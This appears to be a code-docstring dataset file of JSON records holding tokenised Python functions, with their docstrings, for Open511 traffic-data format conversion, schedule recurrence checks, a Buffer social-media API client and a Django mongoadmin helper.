{"signature": "def includes(self, query_date, query_time=None):", "body": "if self.start_date and query_date < self.start_date:<EOL><INDENT>return False<EOL><DEDENT>if self.end_date and query_date > self.end_date:<EOL><INDENT>return False<EOL><DEDENT>if query_date.weekday() not in self.weekdays:<EOL><INDENT>return False<EOL><DEDENT>if not query_time:<EOL><INDENT>return True<EOL><DEDENT>if query_time >= self.period.start and query_time <= self.period.end:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Does this schedule include the provided time?\n        query_date and query_time are date and time objects, interpreted\n        in this schedule's timezone", "id": "f4285:c3:m1"}
{"signature": "def daily_periods(self, range_start=datetime.date.min, range_end=datetime.date.max, exclude_dates=tuple()):", "body": "tz = self.timezone<EOL>period = self.period<EOL>weekdays = self.weekdays<EOL>current_date = max(range_start, self.start_date)<EOL>end_date = range_end<EOL>if self.end_date:<EOL><INDENT>end_date = min(end_date, self.end_date)<EOL><DEDENT>while current_date <= end_date:<EOL><INDENT>if current_date.weekday() in weekdays and current_date not in exclude_dates:<EOL><INDENT>yield Period(<EOL>tz.localize(datetime.datetime.combine(current_date, period.start)),<EOL>tz.localize(datetime.datetime.combine(current_date, period.end))<EOL>)<EOL><DEDENT>current_date += datetime.timedelta(days=<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Returns an iterator of Period tuples for every day this schedule is in effect, between range_start\n        and range_end.", "id": "f4285:c3:m2"}
{"signature": "@property<EOL><INDENT>@memoize_method<EOL>def period(self):<DEDENT>", "body": "start_time = self.root.findtext('<STR_LIT>')<EOL>if start_time:<EOL><INDENT>return Period(text_to_time(start_time), text_to_time(self.root.findtext('<STR_LIT>')))<EOL><DEDENT>return Period(datetime.time(<NUM_LIT:0>, <NUM_LIT:0>), datetime.time(<NUM_LIT>, <NUM_LIT>))<EOL>", "docstring": "A Period tuple representing the daily start and end time.", "id": "f4285:c3:m3"}
{"signature": "@property<EOL><INDENT>def weekdays(self):<DEDENT>", "body": "if not self.root.xpath('<STR_LIT>'):<EOL><INDENT>return set(range(<NUM_LIT:7>))<EOL><DEDENT>return set(int(d) - <NUM_LIT:1> for d in self.root.xpath('<STR_LIT>'))<EOL>", "docstring": "A set of integers representing the weekdays the schedule recurs on,\n        with Monday = 0 and Sunday = 6.", "id": "f4285:c3:m4"}
{"signature": "@property<EOL><INDENT>@memoize_method<EOL>def start_date(self):<DEDENT>", "body": "return text_to_date(self.root.findtext('<STR_LIT>'))<EOL>", "docstring": "Start date of event recurrence, as datetime.date or None.", "id": "f4285:c3:m5"}
{"signature": "@property<EOL><INDENT>@memoize_method<EOL>def end_date(self):<DEDENT>", "body": "return text_to_date(self.root.findtext('<STR_LIT>'))<EOL>", "docstring": "End date of event recurrence, as datetime.date or None.", "id": "f4285:c3:m6"}
{"signature": "def _tmdd_datetime_to_iso(dt, include_offset=True, include_seconds=True):", "body": "datestring = dt.findtext('<STR_LIT:date>')<EOL>timestring = dt.findtext('<STR_LIT:time>')<EOL>assert len(datestring) == <NUM_LIT:8><EOL>assert len(timestring) >= <NUM_LIT:6><EOL>iso = datestring[<NUM_LIT:0>:<NUM_LIT:4>] + '<STR_LIT:->' + datestring[<NUM_LIT:4>:<NUM_LIT:6>] + '<STR_LIT:->' + datestring[<NUM_LIT:6>:<NUM_LIT:8>] + '<STR_LIT:T>'+ timestring[<NUM_LIT:0>:<NUM_LIT:2>] + '<STR_LIT::>' + timestring[<NUM_LIT:2>:<NUM_LIT:4>]<EOL>if include_seconds:<EOL><INDENT>iso += '<STR_LIT::>' + timestring[<NUM_LIT:4>:<NUM_LIT:6>]<EOL><DEDENT>if include_offset:<EOL><INDENT>offset = dt.findtext('<STR_LIT>')<EOL>if offset:<EOL><INDENT>assert len(offset) == <NUM_LIT:5><EOL>iso += offset[<NUM_LIT:0>:<NUM_LIT:3>] + '<STR_LIT::>' + offset[<NUM_LIT:3>:<NUM_LIT:5>]<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % etree.tostring(dt))<EOL><DEDENT><DEDENT>return iso<EOL>", "docstring": "dt is an xml Element with <date>, <time>, and optionally <offset> children.\nreturns an ISO8601 string", "id": "f4292:m2"}
{"signature": "def _get_status(c):", "body": "<EOL>active_flag = _xpath_or_none(c.feu, '<STR_LIT>')<EOL>return '<STR_LIT>' if active_flag in ('<STR_LIT>', '<STR_LIT:2>') else '<STR_LIT>'<EOL>", "docstring": "Returns ACTIVE or ARCHIVED, the Open511 <status> field.", "id": "f4292:m3"}
{"signature": "def _generate_automatic_headline(c):", "body": "<EOL>headline = c.data['<STR_LIT>'].replace('<STR_LIT:_>', '<STR_LIT:U+0020>').title()<EOL>if c.data['<STR_LIT>']:<EOL><INDENT>headline += '<STR_LIT>' + c.data['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT:name>']<EOL>direction = c.data['<STR_LIT>'][<NUM_LIT:0>].get('<STR_LIT>')<EOL>if direction and direction not in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>headline += '<STR_LIT:U+0020>' + direction<EOL><DEDENT><DEDENT>return headline<EOL>", "docstring": "The only field that maps closely to Open511 <headline>, a required field, is optional\n    in TMDD. So we sometimes need to generate our own.", "id": "f4292:m7"}
{"signature": "def _get_severity(c):", "body": "severities = c.feu.xpath('<STR_LIT>')<EOL>impacts = c.feu.xpath('<STR_LIT>')<EOL>severities = [convert_severity[s] for s in severities]<EOL>impacts = [convert_impact[i] for i in impacts]<EOL>return ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'][max(itertools.chain(severities, impacts))]<EOL>", "docstring": "1. Collect all <severity> and <impact-level> values.\n2. Convert impact-level of 1-3 to MINOR, 4-7 to MODERATE, 8-10 to MAJOR\n3. Map severity -> none to MINOR, natural-disaster to MAJOR, other to UNKNOWN\n4. Pick the highest severity.", "id": "f4292:m13"}
{"signature": "@classmethod<EOL><INDENT>def list_from_document(cls, doc):<DEDENT>", "body": "objs = []<EOL>for feu in doc.xpath('<STR_LIT>'):<EOL><INDENT>detail_els = feu.xpath('<STR_LIT>')<EOL>for idx, detail in enumerate(detail_els):<EOL><INDENT>objs.append(cls(feu, detail, id_suffix=idx, number_in_group=len(detail_els)))<EOL><DEDENT><DEDENT>return objs<EOL>", "docstring": "Returns a list of TMDDEventConverter elements.\n\n        doc is an XML Element containing one or more <FEU> events", "id": "f4292:c0:m1"}
{"signature": "def add_geo(self, geo_location):", "body": "if not geo_location.xpath('<STR_LIT>') and geo_location.xpath('<STR_LIT>'):<EOL><INDENT>raise Exception(\"<STR_LIT>\" % etree.tostring(geo_location))<EOL><DEDENT>if _xpath_or_none(geo_location, '<STR_LIT>') not in ('<STR_LIT>', None):<EOL><INDENT>logger.warning(\"<STR_LIT>\" % etree.tostring(geo_location))<EOL>return<EOL><DEDENT>point = (<EOL>float(_xpath_or_none(geo_location, '<STR_LIT>')) / <NUM_LIT>,<EOL>float(_xpath_or_none(geo_location, '<STR_LIT>')) / <NUM_LIT><EOL>)<EOL>self.points.add(point)<EOL>", "docstring": "Saves a <geo-location> Element, to be incoporated into the Open511\ngeometry field.", "id": "f4292:c0:m3"}
{"signature": "def ensure_format(doc, format):", "body": "assert format in ('<STR_LIT>', '<STR_LIT>')<EOL>if getattr(doc, '<STR_LIT>', None) == '<STR_LIT>':<EOL><INDENT>if format == '<STR_LIT>':<EOL><INDENT>return xml_to_json(doc)<EOL><DEDENT><DEDENT>elif isinstance(doc, dict) and '<STR_LIT>' in doc:<EOL><INDENT>if format == '<STR_LIT>':<EOL><INDENT>return json_doc_to_xml(doc)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return doc<EOL>", "docstring": "Ensures that the provided document is an lxml Element or json dict.", "id": "f4293:m0"}
{"signature": "def open511_convert(input_doc, output_format, serialize=True, **kwargs):", "body": "try:<EOL><INDENT>output_format_info = FORMATS[output_format]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % output_format)<EOL><DEDENT>input_doc = ensure_format(input_doc, output_format_info.input_format)<EOL>result = output_format_info.func(input_doc, **kwargs)<EOL>if serialize:<EOL><INDENT>result = output_format_info.serializer(result)<EOL><DEDENT>return result<EOL>", "docstring": "Convert an Open511 document between formats.\ninput_doc - either an lxml open511 Element or a deserialized JSON dict\noutput_format - short string name of a valid output format, as listed above", "id": "f4293:m1"}
{"signature": "def xml_to_json(root):", "body": "j = {}<EOL>if len(root) == <NUM_LIT:0>:  <EOL><INDENT>return _maybe_intify(root.text)<EOL><DEDENT>if len(root) == <NUM_LIT:1> and root[<NUM_LIT:0>].tag.startswith('<STR_LIT:{>' + NS_GML):  <EOL><INDENT>return gml_to_geojson(root[<NUM_LIT:0>])<EOL><DEDENT>if root.tag == '<STR_LIT>':<EOL><INDENT>j['<STR_LIT>'] = {'<STR_LIT:version>': root.get('<STR_LIT:version>')}<EOL><DEDENT>for elem in root:<EOL><INDENT>name = elem.tag<EOL>if name == '<STR_LIT>' and elem.get('<STR_LIT>'):<EOL><INDENT>name = elem.get('<STR_LIT>') + '<STR_LIT>'<EOL>if name == '<STR_LIT>':<EOL><INDENT>name = '<STR_LIT:url>'<EOL><DEDENT>if root.tag == '<STR_LIT>':<EOL><INDENT>j['<STR_LIT>'][name] = elem.get('<STR_LIT>')<EOL>continue<EOL><DEDENT><DEDENT>elif name.startswith('<STR_LIT:{>' + NS_PROTECTED):<EOL><INDENT>name = '<STR_LIT:!>' + name[name.index('<STR_LIT:}>') + <NUM_LIT:1>:] <EOL><DEDENT>elif name[<NUM_LIT:0>] == '<STR_LIT:{>':<EOL><INDENT>name = '<STR_LIT:+>' + name[name.index('<STR_LIT:}>') + <NUM_LIT:1>:]<EOL><DEDENT>if name in j:<EOL><INDENT>continue  <EOL><DEDENT>elif elem.tag == '<STR_LIT>' and not elem.text:<EOL><INDENT>j[name] = elem.get('<STR_LIT>')<EOL><DEDENT>elif len(elem):<EOL><INDENT>if name == '<STR_LIT>':<EOL><INDENT>j[name] = [xml_link_to_json(child, to_dict=False) for child in elem]<EOL><DEDENT>elif name in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>j[name] = [xml_link_to_json(child, to_dict=True) for child in elem]<EOL><DEDENT>elif all((name == pluralize(child.tag) for child in elem)):<EOL><INDENT>j[name] = [xml_to_json(child) for child in elem]<EOL><DEDENT>else:<EOL><INDENT>j[name] = xml_to_json(elem)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if root.tag == '<STR_LIT>' and name.endswith('<STR_LIT:s>') and not elem.text:<EOL><INDENT>j[name] = []<EOL><DEDENT>else:<EOL><INDENT>j[name] = _maybe_intify(elem.text)<EOL><DEDENT><DEDENT><DEDENT>return j<EOL>", "docstring": "Convert an Open511 XML document or document fragment to JSON.\n\n    Takes an lxml Element object. Returns a dict ready to be JSON-serialized.", "id": "f4294:m2"}
{"signature": "def gml_to_geojson(el):", "body": "if el.get('<STR_LIT>') not in ('<STR_LIT>', None):<EOL><INDENT>if el.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>return _gmlv2_to_geojson(el)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\" % el.get('<STR_LIT>'))<EOL><DEDENT><DEDENT>tag = el.tag.replace('<STR_LIT>' % NS_GML, '<STR_LIT>')<EOL>if tag == '<STR_LIT>':<EOL><INDENT>coordinates = _reverse_gml_coords(el.findtext('<STR_LIT>' % NS_GML))[<NUM_LIT:0>]<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>coordinates = _reverse_gml_coords(el.findtext('<STR_LIT>' % NS_GML))<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>coordinates = []<EOL>for ring in el.xpath('<STR_LIT>', namespaces=NSMAP)+ el.xpath('<STR_LIT>', namespaces=NSMAP):<EOL><INDENT>coordinates.append(_reverse_gml_coords(ring.text))<EOL><DEDENT><DEDENT>elif tag in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>single_type = tag[<NUM_LIT:5>:]<EOL>member_tag = single_type[<NUM_LIT:0>].lower() + single_type[<NUM_LIT:1>:] + '<STR_LIT>'<EOL>coordinates = [<EOL>gml_to_geojson(member)['<STR_LIT>']<EOL>for member in el.xpath('<STR_LIT>' % (member_tag, single_type), namespaces=NSMAP)<EOL>]<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>return {<EOL>'<STR_LIT:type>': tag,<EOL>'<STR_LIT>': coordinates<EOL>}<EOL>", "docstring": "Given an lxml Element of a GML geometry, returns a dict in GeoJSON format.", "id": "f4294:m5"}
{"signature": "def _gmlv2_to_geojson(el):", "body": "tag = el.tag.replace('<STR_LIT>' % NS_GML, '<STR_LIT>')<EOL>if tag == '<STR_LIT>':<EOL><INDENT>coordinates = [float(c) for c in el.findtext('<STR_LIT>' % NS_GML).split('<STR_LIT:U+002C>')]<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>coordinates = [<EOL>[float(x) for x in pair.split('<STR_LIT:U+002C>')]<EOL>for pair in el.findtext('<STR_LIT>' % NS_GML).split('<STR_LIT:U+0020>')<EOL>]<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>coordinates = []<EOL>for ring in el.xpath('<STR_LIT>', namespaces=NSMAP)+ el.xpath('<STR_LIT>', namespaces=NSMAP):<EOL><INDENT>coordinates.append([<EOL>[float(x) for x in pair.split('<STR_LIT:U+002C>')]<EOL>for pair in ring.text.split('<STR_LIT:U+0020>')<EOL>])<EOL><DEDENT><DEDENT>elif tag in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if tag == '<STR_LIT>':<EOL><INDENT>single_type = '<STR_LIT>'<EOL>member_tag = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>single_type = tag[<NUM_LIT:5>:]<EOL>member_tag = single_type[<NUM_LIT:0>].lower() + single_type[<NUM_LIT:1>:] + '<STR_LIT>'<EOL><DEDENT>coordinates = [<EOL>gml_to_geojson(member)['<STR_LIT>']<EOL>for member in el.xpath('<STR_LIT>' % (member_tag, single_type), namespaces=NSMAP)<EOL>]<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>return {<EOL>'<STR_LIT:type>': tag,<EOL>'<STR_LIT>': coordinates<EOL>}<EOL>", "docstring": "Translates a deprecated GML 2.0 geometry to GeoJSON", "id": "f4294:m6"}
{"signature": "def json_doc_to_xml(json_obj, lang='<STR_LIT>', custom_namespace=None):", "body": "if '<STR_LIT>' not in json_obj:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>json_obj = dict(json_obj)<EOL>meta = json_obj.pop('<STR_LIT>')<EOL>elem = get_base_open511_element(lang=lang, version=meta.pop('<STR_LIT:version>'))<EOL>pagination = json_obj.pop('<STR_LIT>', None)<EOL>json_struct_to_xml(json_obj, elem, custom_namespace=custom_namespace)<EOL>if pagination:<EOL><INDENT>elem.append(json_struct_to_xml(pagination, '<STR_LIT>', custom_namespace=custom_namespace))<EOL><DEDENT>json_struct_to_xml(meta, elem)<EOL>return elem<EOL>", "docstring": "Converts a Open511 JSON document to XML.\n\n    lang: the appropriate language code\n\n    Takes a dict deserialized from JSON, returns an lxml Element.\n\n    Accepts only the full root-level JSON object from an Open511 response.", "id": "f4295:m0"}
{"signature": "def json_struct_to_xml(json_obj, root, custom_namespace=None):", "body": "if isinstance(root, (str, unicode)):<EOL><INDENT>if root.startswith('<STR_LIT:!>'):<EOL><INDENT>root = etree.Element('<STR_LIT>' % (NS_PROTECTED, root[<NUM_LIT:1>:]))<EOL><DEDENT>elif root.startswith('<STR_LIT:+>'):<EOL><INDENT>if not custom_namespace:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>root = etree.Element('<STR_LIT>' % (custom_namespace, root[<NUM_LIT:1>:]))<EOL><DEDENT>else:<EOL><INDENT>root = etree.Element(root)<EOL><DEDENT><DEDENT>if root.tag in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>for link in json_obj:<EOL><INDENT>root.append(json_link_to_xml(link))<EOL><DEDENT><DEDENT>elif isinstance(json_obj, (str, unicode)):<EOL><INDENT>root.text = json_obj<EOL><DEDENT>elif isinstance(json_obj, (int, float)):<EOL><INDENT>root.text = unicode(json_obj)<EOL><DEDENT>elif isinstance(json_obj, dict):<EOL><INDENT>if frozenset(json_obj.keys()) == frozenset(('<STR_LIT:type>', '<STR_LIT>')):<EOL><INDENT>root.append(geojson_to_gml(json_obj))<EOL><DEDENT>else:<EOL><INDENT>for key, val in json_obj.items():<EOL><INDENT>if key == '<STR_LIT:url>' or key.endswith('<STR_LIT>'):<EOL><INDENT>el = json_link_to_xml(val, json_link_key_to_xml_rel(key))<EOL><DEDENT>else:<EOL><INDENT>el = json_struct_to_xml(val, key, custom_namespace=custom_namespace)<EOL><DEDENT>if el is not None:<EOL><INDENT>root.append(el)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif isinstance(json_obj, list):<EOL><INDENT>tag_name = root.tag<EOL>if tag_name.endswith('<STR_LIT>'):<EOL><INDENT>tag_name = tag_name[:-<NUM_LIT:3>] + '<STR_LIT:y>'<EOL><DEDENT>elif tag_name.endswith('<STR_LIT:s>'):<EOL><INDENT>tag_name = tag_name[:-<NUM_LIT:1>]<EOL><DEDENT>for val in json_obj:<EOL><INDENT>el = json_struct_to_xml(val, tag_name, custom_namespace=custom_namespace)<EOL>if el is not None:<EOL><INDENT>root.append(el)<EOL><DEDENT><DEDENT><DEDENT>elif json_obj is None:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>return root<EOL>", "docstring": "Converts a Open511 JSON fragment to XML.\n\n    Takes a dict deserialized from JSON, returns an lxml Element.\n\n    This won't provide a conforming document if you pass in a full JSON document;\n    it's for translating little fragments, and is mostly used internally.", "id": "f4295:m1"}
{"signature": "def geojson_to_gml(gj, set_srs=True):", "body": "tag = G(gj['<STR_LIT:type>'])<EOL>if set_srs:<EOL><INDENT>tag.set('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>if gj['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>tag.append(G.pos(_reverse_geojson_coords(gj['<STR_LIT>'])))<EOL><DEDENT>elif gj['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>tag.append(G.posList('<STR_LIT:U+0020>'.join(_reverse_geojson_coords(ll) for ll in gj['<STR_LIT>'])))<EOL><DEDENT>elif gj['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>rings = [<EOL>G.LinearRing(<EOL>G.posList('<STR_LIT:U+0020>'.join(_reverse_geojson_coords(ll) for ll in ring))<EOL>) for ring in gj['<STR_LIT>']<EOL>]<EOL>tag.append(G.exterior(rings.pop(<NUM_LIT:0>)))<EOL>for ring in rings:<EOL><INDENT>tag.append(G.interior(ring))<EOL><DEDENT><DEDENT>elif gj['<STR_LIT:type>'] in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>single_type = gj['<STR_LIT:type>'][<NUM_LIT:5>:]<EOL>member_tag = single_type[<NUM_LIT:0>].lower() + single_type[<NUM_LIT:1>:] + '<STR_LIT>'<EOL>for coord in gj['<STR_LIT>']:<EOL><INDENT>tag.append(<EOL>G(member_tag, geojson_to_gml({'<STR_LIT:type>': single_type, '<STR_LIT>': coord}, set_srs=False))<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>return tag<EOL>", "docstring": "Given a dict deserialized from a GeoJSON object, returns an lxml Element\n    of the corresponding GML geometry.", "id": "f4295:m5"}
{"signature": "def geom_to_xml_element(geom):", "body": "if geom.srs.srid != <NUM_LIT>:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>return geojson_to_gml(json.loads(geom.geojson))<EOL>", "docstring": "Transform a GEOS or OGR geometry object into an lxml Element\n    for the GML geometry.", "id": "f4295:m6"}
{"signature": "@property<EOL><INDENT>def pending(self):<DEDENT>", "body": "pending_updates = []<EOL>url = PATHS['<STR_LIT>'] % self.profile_id<EOL>response = self.api.get(url=url)<EOL>for update in response['<STR_LIT>']:<EOL><INDENT>pending_updates.append(Update(api=self.api, raw_response=update))<EOL><DEDENT>self.__pending = pending_updates<EOL>return self.__pending<EOL>", "docstring": "Returns an array of updates that are currently in the buffer for an\nindividual social media profile.", "id": "f4304:c0:m1"}
{"signature": "@property<EOL><INDENT>def sent(self):<DEDENT>", "body": "sent_updates = []<EOL>url = PATHS['<STR_LIT>'] % self.profile_id<EOL>response = self.api.get(url=url)<EOL>for update in response['<STR_LIT>']:<EOL><INDENT>sent_updates.append(Update(api=self.api, raw_response=update))<EOL><DEDENT>self.__sent = sent_updates<EOL>return self.__sent<EOL>", "docstring": "Returns an array of updates that have been sent from the buffer for an\nindividual social media profile.", "id": "f4304:c0:m2"}
{"signature": "def shuffle(self, count=None, utc=None):", "body": "url = PATHS['<STR_LIT>'] % self.profile_id<EOL>post_data = '<STR_LIT>'<EOL>if count:<EOL><INDENT>post_data += '<STR_LIT>' % count<EOL><DEDENT>if utc:<EOL><INDENT>post_data += '<STR_LIT>' % utc<EOL><DEDENT>return self.api.post(url=url, data=post_data)<EOL>", "docstring": "Randomize the order at which statuses for the specified social media\nprofile will be sent out of the buffer.", "id": "f4304:c0:m3"}
{"signature": "def reorder(self, updates_ids, offset=None, utc=None):", "body": "url = PATHS['<STR_LIT>'] % self.profile_id<EOL>order_format = \"<STR_LIT>\"<EOL>post_data = '<STR_LIT>'<EOL>if offset:<EOL><INDENT>post_data += '<STR_LIT>' % offset<EOL><DEDENT>if utc:<EOL><INDENT>post_data += '<STR_LIT>' % utc<EOL><DEDENT>for update in updates_ids:<EOL><INDENT>post_data += order_format % update<EOL><DEDENT>return self.api.post(url=url, data=post_data)<EOL>", "docstring": "Edit the order at which statuses for the specified social media profile will\nbe sent out of the buffer.", "id": "f4304:c0:m4"}
{"signature": "def new(self, text, shorten=None, now=None, top=None, media=None, when=None):", "body": "url = PATHS['<STR_LIT>']<EOL>post_data = \"<STR_LIT>\" % text<EOL>post_data += \"<STR_LIT>\" % self.profile_id<EOL>if shorten:<EOL><INDENT>post_data += \"<STR_LIT>\" % shorten<EOL><DEDENT>if now:<EOL><INDENT>post_data += \"<STR_LIT>\" % now<EOL><DEDENT>if top:<EOL><INDENT>post_data += \"<STR_LIT>\" % top<EOL><DEDENT>if when:<EOL><INDENT>post_data += \"<STR_LIT>\" % str(when)<EOL><DEDENT>if media:<EOL><INDENT>media_format = \"<STR_LIT>\"<EOL>for media_type, media_item in media.iteritems():<EOL><INDENT>post_data += media_format % (media_type, media_item)<EOL><DEDENT><DEDENT>response = self.api.post(url=url, data=post_data)<EOL>new_update = Update(api=self.api, raw_response=response['<STR_LIT>'][<NUM_LIT:0>])<EOL>self.append(new_update)<EOL>return new_update<EOL>", "docstring": "Create one or more new status updates.", "id": "f4304:c0:m5"}
{"signature": "def all(self):", "body": "response = self.api.get(url=PATHS['<STR_LIT>'])<EOL>for raw_profile in response:<EOL><INDENT>self.append(Profile(self.api, raw_profile))<EOL><DEDENT>return self<EOL>", "docstring": "Get all social newtworks profiles", "id": "f4305:c0:m1"}
{"signature": "def filter(self, **kwargs):", "body": "if not len(self):<EOL><INDENT>self.all()<EOL><DEDENT>new_list = filter(lambda item: [True for arg in kwargs if item[arg] == kwargs[arg]] != [], self)<EOL>return Profiles(self.api, new_list)<EOL>", "docstring": "Based on some criteria, filter the profiles and return a new Profiles\nManager containing only the chosen items\n\nIf the manager doen't have any items, get all the profiles from Buffer", "id": "f4305:c0:m2"}
{"signature": "@property<EOL><INDENT>def interactions(self):<DEDENT>", "body": "interactions = []<EOL>url = PATHS['<STR_LIT>'] % self.id<EOL>response = self.api.get(url=url)<EOL>for interaction in response['<STR_LIT>']:<EOL><INDENT>interactions.append(ResponseObject(interaction))<EOL><DEDENT>self.__interactions = interactions<EOL>return self.__interactions<EOL>", "docstring": "Returns the detailed information on individual interactions with the social\nmedia update such as favorites, retweets and likes.", "id": "f4306:c0:m1"}
{"signature": "def edit(self, text, media=None, utc=None, now=None):", "body": "url = PATHS['<STR_LIT>'] % self.id<EOL>post_data = \"<STR_LIT>\" % text<EOL>if now:<EOL><INDENT>post_data += \"<STR_LIT>\" % now<EOL><DEDENT>if utc:<EOL><INDENT>post_data += \"<STR_LIT>\" % utc<EOL><DEDENT>if media:<EOL><INDENT>media_format = \"<STR_LIT>\"<EOL>for media_type, media_item in media.iteritems():<EOL><INDENT>post_data += media_format % (media_type, media_item)<EOL><DEDENT><DEDENT>response = self.api.post(url=url, data=post_data)<EOL>return Update(api=self.api, raw_response=response['<STR_LIT>'])<EOL>", "docstring": "Edit an existing, individual status update.", "id": "f4306:c0:m2"}
{"signature": "def publish(self):", "body": "url = PATHS['<STR_LIT>'] % self.id<EOL>return self.api.post(url=url)<EOL>", "docstring": "Immediately shares a single pending update and recalculates times for\nupdates remaining in the queue.", "id": "f4306:c0:m3"}
{"signature": "def delete(self):", "body": "url = PATHS['<STR_LIT>'] % self.id<EOL>return self.api.post(url=url)<EOL>", "docstring": "Permanently delete an existing status update.", "id": "f4306:c0:m4"}
{"signature": "def move_to_top(self):", "body": "url = PATHS['<STR_LIT>'] % self.id<EOL>response = self.api.post(url=url)<EOL>return Update(api=self.api, raw_response=response)<EOL>", "docstring": "Move an existing status update to the top of the queue and recalculate\ntimes for all updates in the queue. Returns the update with its new\nposting time.", "id": "f4306:c0:m5"}
{"signature": "def get_shares(self):", "body": "self.shares = self.api.get(url=PATHS['<STR_LIT>'] % self.url)['<STR_LIT>']<EOL>return self.shares<EOL>", "docstring": "Returns an object with a the numbers of shares a link has had using\nBuffer.\n\nwww will be stripped, but other subdomains will not.", "id": "f4307:c0:m1"}
{"signature": "@property<EOL><INDENT>def schedules(self):<DEDENT>", "body": "url = PATHS['<STR_LIT>'] % self.id<EOL>self.__schedules = self.api.get(url=url)<EOL>return self.__schedules<EOL>", "docstring": "Returns details of the posting schedules associated with a social media\nprofile.", "id": "f4308:c0:m1"}
{"signature": "@schedules.setter<EOL><INDENT>def schedules(self, schedules):<DEDENT>", "body": "url = PATHS['<STR_LIT>'] % self.id<EOL>data_format = \"<STR_LIT>\"<EOL>post_data = \"<STR_LIT>\"<EOL>for format_type, values in schedules.iteritems():<EOL><INDENT>for value in values:<EOL><INDENT>post_data += data_format % (format_type, value)<EOL><DEDENT><DEDENT>self.api.post(url=url, data=post_data)<EOL>", "docstring": "Set the posting schedules for the specified social media profile.", "id": "f4308:c0:m2"}
{"signature": "@property<EOL><INDENT>def info(self):<DEDENT>", "body": "response = self.get(url=PATHS['<STR_LIT>'])<EOL>return ResponseObject(response)<EOL>", "docstring": "Returns an object with the current configuration that Buffer is using,\nincluding supported services, their icons and the varying limits of\ncharacter and schedules.\n\nThe services keys map directly to those on profiles and updates so that\nyou can easily show the correct icon or calculate the correct character\nlength for an update.", "id": "f4313:c0:m6"}
{"signature": "def __str__(self):", "body": "if hasattr(sys.stderr, '<STR_LIT>') and sys.stderr.isatty():<EOL><INDENT>msg = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(<EOL>request=\"<STR_LIT>\" % (self.method, self.url),<EOL>http_code = self.http_code,<EOL>error_code = self.error_code,<EOL>description=self.description<EOL>))<EOL>return msg<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\".format(self.http_code, self.error_code, self.description)<EOL><DEDENT>", "docstring": ":return: if on TTY, a friendly string conversion for the object,\nelse a one liner indicating the error", "id": "f4314:c1:m1"}
{"signature": "def _check_for_inception(self, root_dict):", "body": "for key in root_dict:<EOL><INDENT>if isinstance(root_dict[key], dict):<EOL><INDENT>root_dict[key] = ResponseObject(root_dict[key])<EOL><DEDENT><DEDENT>return root_dict<EOL>", "docstring": "Used to check if there is a dict in a dict", "id": "f4315:c0:m1"}
{"signature": "def get_mongoadmins(self):", "body": "apps = []<EOL>for app_name in settings.INSTALLED_APPS:<EOL><INDENT>mongoadmin = \"<STR_LIT>\".format(app_name)<EOL>try:<EOL><INDENT>module = import_module(mongoadmin)<EOL><DEDENT>except ImportError as e:<EOL><INDENT>if str(e).startswith(\"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>raise e<EOL><DEDENT>app_store = AppStore(module)<EOL>apps.append(dict(<EOL>app_name=app_name,<EOL>obj=app_store<EOL>))<EOL><DEDENT>return apps<EOL>", "docstring": "Returns a list of all mongoadmin implementations for the site", "id": "f4350:c1:m2"}
{"signature": "def set_mongonaut_base(self):", "body": "if hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>return None<EOL><DEDENT>self.app_label = self.kwargs.get('<STR_LIT>')<EOL>self.document_name = self.kwargs.get('<STR_LIT>')<EOL>self.models_name = self.kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>self.model_name = \"<STR_LIT>\".format(self.app_label, self.models_name)<EOL>self.models = import_module(self.model_name)<EOL>", "docstring": "Sets a number of commonly used attributes", "id": "f4350:c1:m3"}
